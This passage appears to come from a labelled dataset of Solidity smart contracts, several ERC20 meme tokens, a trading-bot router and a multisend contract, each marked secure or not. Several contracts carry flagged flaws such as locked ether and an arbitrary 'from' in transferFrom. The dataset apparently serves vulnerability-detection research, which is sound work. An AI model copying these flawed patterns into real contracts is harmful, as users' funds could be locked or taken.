_allowances[owner_][spender] = amount;\n\n emit Approval(owner_, spender, amount);\n }\n\n function _spendAllowance(\n address owner_,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner_, spender);\n\n require(currentAllowance >= amount, \"ERC20: insufficient allowance\");\n\n unchecked {\n _approve(owner_, spender, currentAllowance - amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to zero address\");\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n }\n\n constructor() {\n _name = \"Golden PEPE\";\n\n _symbol = \"GOLDENPEPE\";\n\n uint256 initialSupply = 1000000000 * 10 ** decimals();\n\n _mint(msg.sender, initialSupply);\n\n _isWhitelisted[UNISWAP_ROUTER] = true;\n }\n}",
"file_name": "solidity_code_781.sol",
"secure": 1,
"size_bytes": 5041
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 4b7a8b2): Contract locking ether found Contract WcDognlad has payable functions WcDognlad.receive() But does not have a function to withdraw the ether\n// Recommendation for 4b7a8b2: Remove the 'payable' attribute or add a withdraw function.\ncontract WcDognlad is ERC20, Ownable {\n constructor() ERC20(unicode\"WcDognlad\", unicode\"WcDog\") {\n _mint(owner(), 1000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 4b7a8b2): Contract locking ether found Contract WcDognlad has payable functions WcDognlad.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 4b7a8b2: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_782.sol",
"secure": 0,
"size_bytes": 1010
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: a57c77c): Contract locking ether found Contract DevAI has payable functions DevAI.receive() But does not have a function to withdraw the ether\n// Recommendation for a57c77c: Remove the 'payable' attribute or add a withdraw function.\ncontract DevAI is ERC20, Ownable {\n constructor() ERC20(\"DEV.ai\", \"DEV\") {\n _mint(owner(), 1_000_000_000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: a57c77c): Contract locking ether found Contract DevAI has payable functions DevAI.receive() But does not have a function to withdraw the ether\n\t// Recommendation for a57c77c: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_783.sol",
"secure": 0,
"size_bytes": 977
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ITokenBuyer {\n function bananaBuy(\n address tokenAddress,\n uint256 tokenAmount,\n address refundAddress\n ) external payable;\n\n function withdraw() external;\n}",
"file_name": "solidity_code_784.sol",
"secure": 1,
"size_bytes": 267
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ITokenBuyer.sol\" as ITokenBuyer;\n\ncontract BananaGunRouter {\n ITokenBuyer public immutable tokenBuyer;\n\n address public immutable owner;\n\n constructor(address _tokenBuyer) {\n tokenBuyer = ITokenBuyer(_tokenBuyer);\n\n owner = msg.sender;\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Caller is not the owner\");\n\n _;\n }\n\n function gunBot(\n address tokenAddress,\n uint256 tokenAmount,\n address refundAddress\n ) external payable {\n tokenBuyer.bananaBuy{value: msg.value}(\n tokenAddress,\n tokenAmount,\n refundAddress\n );\n }\n\n function triggerWithdrawal() external onlyOwner {\n tokenBuyer.withdraw();\n }\n\n function withdraw() external onlyOwner {\n (bool success, ) = payable(owner).call{value: address(this).balance}(\n \"\"\n );\n\n require(success, \"Failed to send Ether\");\n }\n\n receive() external payable {}\n\n fallback() external payable {}\n}",
"file_name": "solidity_code_785.sol",
"secure": 1,
"size_bytes": 1143
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 3c1b073): Contract locking ether found Contract DevDotAi has payable functions DevDotAi.receive() But does not have a function to withdraw the ether\n// Recommendation for 3c1b073: Remove the 'payable' attribute or add a withdraw function.\ncontract DevDotAi is ERC20, Ownable {\n constructor() ERC20(\"DEV.ai\", \"DEV\") {\n _mint(owner(), 420_690_000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 3c1b073): Contract locking ether found Contract DevDotAi has payable functions DevDotAi.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 3c1b073: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_786.sol",
"secure": 0,
"size_bytes": 990
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IMultisend {\n function multisendToken(\n address token,\n bool ensureExactAmount,\n address[] calldata targets,\n uint256[] calldata amounts\n ) external payable;\n\n function multisendEther(\n address[] calldata targets,\n uint256[] calldata amounts\n ) external payable;\n}",
"file_name": "solidity_code_787.sol",
"secure": 1,
"size_bytes": 402
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IMultisend.sol\" as IMultisend;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\n\ncontract Multisender is Ownable, IMultisend {\n using SafeERC20 for IERC20;\n\n event Multisent(address token, uint256 total);\n\n receive() external payable {\n revert();\n }\n\n constructor() {}\n\n function multisendToken(\n address token,\n bool ensureExactAmount,\n address[] calldata targets,\n uint256[] calldata amounts\n ) external payable override {\n if (token == address(0)) {\n multisendEther(targets, amounts);\n } else {\n require(targets.length == amounts.length, \"Length mismatched\");\n\n IERC20 erc20 = IERC20(token);\n\n uint256 total = 0;\n\n function(\n IERC20,\n address,\n address,\n uint256\n ) transfer = ensureExactAmount\n ? _safeTransferFromEnsureExactAmount\n : _safeTransferFrom;\n\n for (uint256 i = 0; i < targets.length; i++) {\n total += amounts[i];\n\n transfer(erc20, msg.sender, targets[i], amounts[i]);\n }\n\n emit Multisent(token, total);\n }\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: 395eb4f): Multisender.multisendEther(address[],uint256[]) has external calls inside a loop address(targets[i]).transfer(amounts[i])\n\t// Recommendation for 395eb4f: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 6f3924f): Multisender.multisendEther(address[],uint256[]) sends eth to arbitrary user Dangerous calls address(targets[i]).transfer(amounts[i])\n\t// Recommendation for 6f3924f: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function multisendEther(\n address[] calldata targets,\n uint256[] calldata amounts\n ) public payable override {\n require(targets.length == amounts.length, \"Length mismatched\");\n\n uint256 total;\n\n for (uint256 i = 0; i < targets.length; i++) {\n total += amounts[i];\n\n\t\t\t// calls-loop | ID: 395eb4f\n\t\t\t// arbitrary-send-eth | ID: 6f3924f\n payable(targets[i]).transfer(amounts[i]);\n }\n\n require(total == msg.value, \"Total mismatched\");\n\n emit Multisent(address(0), total);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 4a9e61a): Multisender.withdrawWronglySentEther(address).to lacks a zerocheck on \t address(to).transfer(address(this).balance)\n\t// Recommendation for 4a9e61a: Check that the address is not zero.\n function withdrawWronglySentEther(address to) external onlyOwner {\n\t\t// missing-zero-check | ID: 4a9e61a\n payable(to).transfer(address(this).balance);\n }\n\n function withdrawWronglySentToken(\n address token,\n address to\n ) external onlyOwner {\n IERC20(token).safeTransfer(to, IERC20(token).balanceOf(address(this)));\n }\n\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 7fb9522): Use of strict equalities that can be easily manipulated by an attacker.\n\t// Recommendation for 7fb9522: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: c9c8379): Use of strict equalities that can be easily manipulated by an attacker.\n\t// Recommendation for c9c8379: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (arbitrary-send-erc20 | severity: High | ID: 8ed2fd9): Multisender._safeTransferFromEnsureExactAmount(IERC20,address,address,uint256) uses arbitrary from in transferFrom token.safeTransferFrom(from,to,amount)\n\t// Recommendation for 8ed2fd9: Use 'msg.sender' as 'from' in 'transferFrom'.\n function _safeTransferFromEnsureExactAmount(\n IERC20 token,\n address from,\n address to,\n uint256 amount\n ) private {\n uint256 balanceBefore = token.balanceOf(to);\n\n\t\t// arbitrary-send-erc20 | ID: 8ed2fd9\n token.safeTransferFrom(from, to, amount);\n\n\t\t// incorrect-equality | ID: 7fb9522\n\t\t// incorrect-equality | ID: c9c8379\n require(\n token.balanceOf(to) - balanceBefore == (from != to ? amount : 0),\n \"Not enough tokens were transfered, check tax and fee options or try setting ensureExactAmount to false\"\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-erc20 | severity: High | ID: ad3fbec): Multisender._safeTransferFrom(IERC20,address,address,uint256) uses arbitrary from in transferFrom token.safeTransferFrom(from,to,amount)\n\t// Recommendation for ad3fbec: Use 'msg.sender' as 'from' in 'transferFrom'.\n function _safeTransferFrom(\n IERC20 token,\n address from,\n address to,\n uint256 amount\n ) private {\n\t\t// arbitrary-send-erc20 | ID: ad3fbec\n token.safeTransferFrom(from, to, amount);\n }\n}",
"file_name": "solidity_code_788.sol",
"secure": 0,
"size_bytes": 5339
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.